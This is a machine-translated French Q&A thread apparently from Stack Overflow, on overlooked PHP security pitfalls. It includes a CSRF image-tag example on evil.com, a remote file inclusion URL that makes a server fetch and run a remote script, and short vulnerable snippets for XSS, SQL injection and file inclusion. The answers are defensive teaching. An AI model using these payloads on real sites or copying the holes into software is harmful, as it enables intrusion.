2009-12-16 5 views
3

Je sais que des questions comme celle-ci ont été posées une centaine de fois, mais la mienne est un peu différente. Je connais tous les problèmes de sécurité courants et connus comme l'injection SQL, XSS, etc. Mais qu'en est-il des problèmes qui apparaissent souvent mais ne sont pas reconnus la plupart du temps ou ne sont pas considérés comme des vulnérabilités? Y a-t-il?Pièges de sécurité PHP inconnus courants

+1

Qu'est-ce que XSS a à voir avec PHP? –

+10

S'ils sont «inconnus», ils ne sont probablement pas «communs», et personne ne pourra vous parler de choses dont ils n'ont jamais entendu parler. –

+0

@Anon: Ne pas échapper la sortie peut conduire à XSS ... C'est ce que je voulais dire. @NSD: Vous avez probablement raison, mais je voulais prendre le risque;) Il pourrait y avoir quelqu'un qui se promène ici qui a découvert quelque chose d'intéressant, etc – Franz

Répondre

8

une chose que j'ai vu beaucoup qui obtient développé comme une caractéristique et non considéré comme un trou de sécurité jusqu'à ce qu'il soit trop tard sont demandes GET à changement d'état. Ceux-ci peuvent facilement entraîner cross-site request forgery. Par exemple, votre application peut avoir un lien vers http://mysite.com/logout qui déconnecte les utilisateurs. Mais un site tiers peut ajouter du code comme ceci:

<!-- on evil.com site --> 
<img src="http://mysite.com/logout"> 

Ensuite, lorsque les utilisateurs se chargent de la page sur evil.com, ils sont déconnectés de mysite.com!

Les pires problèmes se produisent lorsque les sites implémentent une API utilisant des requêtes GET à changement d'état. Par exemple, si je courais un site de réseautage social avec des URL comme site.com/addfriend, site.com/sendmessage, etc. et que je donnais ces URL aux développeurs qui allaient faire des applications pour mon site, les développeurs devraient gérer un changement d'API lorsque la vulnérabilité de sécurité a été découverte.

+4

Exiger un POST pour les demandes de changement d'état est certainement la bonne chose à faire, mais n'est pas suffisant pour arrêter XSRF. – bobince

+0

Absolument! Je ne voulais pas laisser entendre que le test POST était suffisant. Il y a des informations sur la prévention de XSRF dans l'article wikipedia lié. – Annie

1

Manque de procédures pour se protéger contre les attaques d'ingénierie sociale? Par exemple, un attaquant appelant un bureau et usurpant l'identité d'une personne dans le but d'obtenir des mots de passe.

Mauvaise politique de création, de distribution et de protection des mots de passe.

La fissuration du compte FTP peut entraîner le téléchargement de code malveillant sur votre site.

Les serveurs d'hébergement tiers faibles/vulnérables peuvent compromettre votre site, peu importe le temps passé à le sécuriser.

+0

Je serais surpris s'il y avait un moyen pour un langage ou une technologie d'empêcher les attaques d'ingénierie sociale :-) – galaktor

+0

+1 Mais: Est-ce vraiment PHP- en relation? – Franz

5
  1. En utilisant $_REQUEST au lieu de $_GET ou $_POST, ce qui est une mauvaise idée car $_REQUEST contient également des cookies, et il ouvre la porte pour Variable Fixation

  2. Pas vraiment spécifique à PHP, applique à toutes les langues interprétées : visibility of .svn/.CVS directories

+0

lol @ public .svn répertoires. toujours bon. – pestilence669

+0

J'aime le premier. Quel est exactement le problème du second? – Franz

+0

Oh, tant pis. Je t'ai eu. – Franz

0

PHP existe depuis plus de 10 ans et a beaucoup évolué.

Méfiez-vous des valeurs par défaut lax dans php.ini.

2

J'ai travaillé sur une pile de rebut une fois où les gestionnaires fopen étaient activés comme l'était "globals registre". L'inclusion a ressemblé à:

<?php 
include $MY_BASE . '/includes/myLib.inc'; 
?>

Ce que cela a permis à quiconque de faire est d'exécuter à distance le code qu'ils voulaient. Voici: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f

PHP va chercher le fichier texte sur HTTP et l'exécuter localement. Puisque Apache fonctionnait en tant que root ... eh bien, vous avez l'idée.

+0

Uaargh ... wow, c'est vraiment moche. – Franz

+0

Le fichier distant a été désactivé par défaut depuis longtemps. – rook

+0

Oui, mais pas sur PHP4. Croyez-le ou non, mais leur code n'était pas compatible avec les interpréteurs 5.x, donc j'ai corrigé le binaire pour désactiver fopen sur les instructions include. – pestilence669

3

Voici quelques-unes que j'ai travaillé sur:

  • mots de passe Enregistrement en texte brut dans un DB
    • Si votre site est piraté, les pirates ont accès à tous les mots de passe de vos utilisateurs et emails. Considérez combien d'utilisateurs ont le même mot de passe pour leur email ainsi que votre site.
  • stockage des e-mails dans la même table que vos utilisateurs
    • Si une attaque par injection SQL donne un accès pirate informatique à votre table utilisateur, l'un des seuls éléments d'information précieux est l'adresse e-mail. Gardez-le dans un tableau séparé pour le rendre plus difficile pour le hacker.
    • Si vous n'envisagez pas d'envoyer un e-mail à l'utilisateur, ne stockez que le hachage de son adresse e-mail: un pirate qui accède aux e-mails des utilisateurs peut les vendre aux spammeurs.
  • Même si vous avez un site protégé par mot de passe, faites le calcul mathématique quant à la sécurité du mot de passe. J'avais un ami dont le site utilisait un simple numéro à 5 chiffres pour les mots de passe. Je l'ai craqué en environ une heure. Si vous envoyez des communications ayant une valeur (c'est-à-dire que vous effectuez une opération qui utilise une quantité importante de ressources: processeur, mémoire, etc.), demandez toujours un jeton de l'utilisateur horodaté. Si un pirate trouve que vous avez une opération qui vous coûte 0,0001 $ à chaque fois qu'il est touché, il peut exploiter un botnet pour accumuler des frais sur votre nom.
  • Demander à l'utilisateur d'envoyer un hachage (un identifiant unique pour l'utilisateur, un horodatage et un sel secret) avec un horodatage en clair. L'horodatage en texte clair vous permet de valider que vous ne leur avez pas donné d'autorisation mardi dernier, l'horodatage du hachage vous permet de valider que le has appartient au que le message, l'UID dans le has assure que le hacker n'a pas pris la demande de quelqu'un d'autre, et le sel secret dans le hachage assure qu'ils ne l'ont pas généré eux-mêmes. Si vous écrivez un système de plugin pour une application, méfiez-vous de ce que vous stockez dans les variables privées. Consultez cet article que j'ai écrit sur la façon de lock it down.

Juste quelques idées et choses que j'ai traitées. J'espère que cela aide!

+0

Merci. Bon long post. – Franz

+0

La plupart des tutoriels (plus anciens) vous disent généralement d'utiliser MD5 pour hacher les mots de passe mais gardez à l'esprit que ce n'est pas très sécurisé, vous avez besoin de quelque chose de plus fort comme SHA-256 ou SHA1. – TravisO

+0

Et vous devez hmac it, pas simplement hash: http://www.php.net/manual/fr/function.hash-hmac.php – Arkh

1

Voici quelques-uns des pièges que j'ai vu:

1. entités s'échappant

Il est des connaissances de base; TOUTES les entrées non fiables (en particulier les entrées utilisateur des formulaires) doivent être nettoyées avant leur sortie.

echo $_GET['username']; 

2. Non Échapper entrée SQL

$query = "select * fromt able where id = {$_GET['id']}"; 

3.Exiger et y compris les fichiers de manière incorrecte

include($_GET['filename']); 

4. Double détection des guillemets

Si magic_quotes_gpc est vrai, en utilisant addslahes ajoutera encore une barre oblique ajoutant ainsi deux barres obliques en tout.

0

Beaucoup de messages ne sont pas spécifiques à PHP. Je suis sûr qu'il y a des pièges de langage mais comme vous le voyez dans les articles, il est très important de mettre en œuvre les meilleures pratiques en matière de sécurité (comme le filtrage des entrées des utilisateurs). Un bon début pour les applications Web sécurisées est OWASP. Et pour être sur le sujet: Security Issues in PHP on OWASP.

A bientôt